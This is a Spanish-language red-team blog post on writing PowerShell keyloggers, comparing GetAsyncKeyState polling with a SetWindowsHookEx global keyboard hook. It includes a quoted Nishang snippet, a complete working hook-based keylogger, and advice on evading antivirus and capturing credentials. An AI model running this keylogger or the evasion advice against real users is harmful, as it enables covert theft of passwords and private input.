cabecera blog BlackArrow

¿Cómo hacer un keylogger en powershell?

Durante la realización de un ejercicio del Red Team de Tarlogic fue necesaria la creación de un keylogger en powershell. Dada la circunstancia particular del escenario la mejor opción pasaba por programar un pequeño script en PowerShell que hiciese el trabajo de guardar y exfiltrar las teclas pulsadas. En este post se analizarán diferentes vías que fueron exploradas durante el desarrollo de la funcionalidad de interceptación de teclas del keylogger software, así como los pro y contras de cada una.

Introducción a los keyloggers en powershell

El uso de scripts de powershell para realizar tareas de pentesting en entornos Windows se ha extendido en los últimos años. Frameworks como Empire, o Nishang, dotan de un arsenal al pentester que puede ser usado en su día a día en la realización de auditorías de seguridad y tests de intrusión.

La capacidad de realizar llamadas a la API de Windows (DLLs del sistema) y poder programar a más bajo nivel gracias a la compilación de código C# al vuelo hacen de PowerShell una herramienta capaz de buscar patrones en memoria, capturar teclas, cargar DLLs reflectivamente, etc. A la hora de abordar cómo conseguir interceptar y guardar las teclas pulsadas por los usuarios de la máquina infectada se puede diferenciar entre dos vertientes: Comprobar el estado de las teclas o hookear eventos del teclado. La inmensa mayoría de keyloggers en PowerShell que se pueden encontrar se decantan (erróneamente, como más adelante veremos) por la primera vertiente.

Keylogger en powershell tipo 1 – GetAsyncKeyState

Se puede denominar como “Tipo 1” a aquellos keyloggers que basan su funcionamiento en el uso de la función GetAsyncKeyState (User32.dll). Gran parte de los keyloggers programados en powershell pertenecen a esta categoría, incluyendo los más conocidos como Get-KeyStrokes de Empire (https://github.com/adaptivethreat/Empire/…/Get-Keystrokes.ps1) y Keylogger.ps1 de Nishang (https://github.com/samratashok/nishang/blob/master/Gather/Keylogger.ps1).

powershell keylogger

fichero del keylogger para capturar texto

Estos keyloggers funcionan realizando continuas peticiones a través de un bucle a la función GetAsyncKeyState con el objetivo de comprobar si una determinada tecla se encuentra pulsada o no. Para ello, además del bucle principal que llama a la función, es necesario un segundo bucle que recorra todo el mapa de teclas para ver si se encuentra pulsada o no.

Observando la siguiente porción de código de Keylogger.ps1 se entiende mejor:

 #...
$signature = @"
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
"@
$getKeyState = Add-Type -memberDefinition $signature -name "Newtype" -namespace newnamespace -passThru
$check = 0
while ($true)
{
Start-Sleep -Milliseconds 40
$logged = ""
$result=""
$shift_state=""
$caps_state=""
for ($char=1;$char -le 254;$char++)
{
$vkey = $char
$logged = $getKeyState::GetAsyncKeyState($vkey)
if ($logged -eq -32767)
#...

A través de Add-Type se consigue tener acceso a la función GetAsyncKeyState de User32.dll desde la sesión powershell. A continuación se entra a un bucle que cada 40 milisegundos recorre los valores numéricos de los caracteres del teclado, y en cada iteración aplica la función GetAsyncKeyState() sobre dichos caracteres con el objetivo de comprobar el estado de la tecla. Si la función devuelve el valor decimal “-32767” el script interpreta que la tecla ha sido pulsada.

La única ventaja de aprovechar este enfoque es que existe bastante documentación y ejemplos disponibles sobre los que partir. El “core” del keylogger prácticamente ya está desarrollado y sólo es necesario eliminar posibles firmas que pudieran detectar los antivirus y añadir rutinas de persistencia y de exfiltración de la información.

El principal problema de estos keyloggers subyace en el método (un bucle que ejecuta la función cada X tiempo) que se utiliza para la recolección de las teclas. En un entorno real es necesario ajustar adecuadamente el intervalo entre ejecuciones puesto que se producen numerosos artificios como teclas duplicadas y pulsaciones que no han sido registradas. Aunque se consiga afinar el tiempo siempre van a aparecer estos artificios, sólo se consigue reducir su presencia.

Este “ruido” puede ser tolerable si lo que se busca es únicamente recolectar información genérica, puesto que puede ser tratada posteriormente para corregir los errores en el texto interceptado. Por el contrario, en el caso de una operación del Red Team donde la prioridad probablemente sea la interceptación de credenciales clave para moverse lateralmente, este tipo de errores no son admisibles. No es lo mismo “Zx3KK1.3” que “Zx3K1.3“, y esta diferencia puede ser crucial.

Capturar e introducir una contraseña inválida puede significar disparar una alerta y por tanto la revelación de la presencia del Red Team.

Ventajas de un Keylogger con GetAsyncKeyState

  • Gran cantidad de scripts publicados para usar como plantilla

Inconvenientes de un Keylogger con GetAsyncKeyState

  • Errores en las teclas logueadas
  • Posible consumo excesivo de memoria

Keylogger en powershell tipo 2 – SetWindowsHookEx

El segundo tipo de keyloggers goza de todas las ventajas y hookea e intercepta los eventos generados por el teclado utilizando la función SetWindowsHookEx. Esta es una técnica tiene bastante tiempo (al igual que la anterior) y es utilizada por los keyloggers típicos programados en otros lenguajes, por lo que no es de extrañar que existan implementaciones en PowerShell.

La acción que realiza esta función en el seno de nuestro powershell es la de instalar un hook que monitorizará e interceptará eventos de entrada del teclado antes de que estos lleguen a las aplicaciones. Ante cada uno de estos eventos será posible realizar acciones: recibirlo, procesarlo a través de un callback, y dejar que continúe su destino.

Un ejemplo sencillo que puede servir como ilustración de este tipo de Keylogger sería el siguiente:

# Extraído de https://hinchley.net/2013/11/03/creating-a-key-logger-via-a-global-system-hook-using-powershell/
Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;namespace KeyLogger {
public static class Program {
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;private const string logFileName = "log.txt";
private static StreamWriter logFile;private static HookProc hookProc = HookCallback;
private static IntPtr hookId = IntPtr.Zero;
public static void Main() {
logFile = File.AppendText(logFileName);
logFile.AutoFlush = true;

hookId = SetHook(hookProc);
Application.Run();
UnhookWindowsHookEx(hookId);
}

private static IntPtr SetHook(HookProc hookProc) {
IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
}

private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
int vkCode = Marshal.ReadInt32(lParam);
logFile.WriteLine((Keys)vkCode);
}

return CallNextHookEx(hookId, nCode, wParam, lParam);
}

[DllImport("user32.dll")]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll")]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
}
"@ -ReferencedAssemblies System.Windows.Forms

[KeyLogger.Program]::Main();
#...

La principal ventaja de este enfoque es que no se pierden teclas ni se producen duplicidades, tal y como pasaba con la anterior categoría de keyloggers. Esta precisión resulta clave cuando se trabaja en entornos reales. Adicionalmente el consumo de recursos es bastante inferior.

Ventajas de de un Keylogger con SetWindowsHookEx

  • Precisión en la información interceptada
  • Consumo de recursos mínimo

Inconvenientes de de un Keylogger con SetWindowsHookEx

  • Conversión de las teclas pulsadas más laboriosa y compleja (shift | crtl | alt + key)

Conclusión

PowerShell se ha convertido en una gran ayuda en los tests de intrusión en entornos empresariales dominados de forma predominante por las plataformas Windows.
La posibilidad de scriptear e interactuar con la API de Windows fácilmente, junto con el hecho de pasar desapercibidos al radar de muchos Antivirus, lo convierte en un aliado indispensable para un Red Team y para crear un keylogger en powershell.

Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com